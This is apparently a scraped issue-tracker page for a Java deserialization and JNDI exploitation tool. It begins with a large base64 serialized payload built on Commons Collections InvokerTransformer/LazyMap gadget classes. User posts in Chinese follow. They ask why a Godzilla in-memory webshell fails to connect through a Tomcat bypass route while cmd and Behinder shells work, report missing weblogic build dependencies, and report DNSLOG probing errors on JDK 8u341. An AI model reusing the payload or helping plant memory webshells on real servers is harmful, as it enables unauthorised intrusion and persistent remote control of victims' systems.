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

内存马问题

cmd和bx马可以使用但是gsl马为何连不上是否为配置错误 使用为/TomcatBypass/M-EX-MS-TSMSFromJMXS-gzraw,加密器两个都试过
image
image

大佬使用idea 编译报错提示找不到包

Could not find javax.media.jai:jai-core:1.1.3
Could not find com.oracle.weblogic:weblogic-server:1.0
尤其是weblogic-server 1.0的包这我搜索了一下根本没有。这个怎么解决啊大佬。还是说包名不是1.0是别的版本希望大佬指点

问题反馈

用的jdk是8_341，使用DNSLOG探测发现报错了，看了下代码，貌似是调用了GadgetType去判断Deserialization后面的参数，一些序列化链的逻辑没法走到
AE5BB8BC-0212-41D1-BDEE-4F0EE4E914F8

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.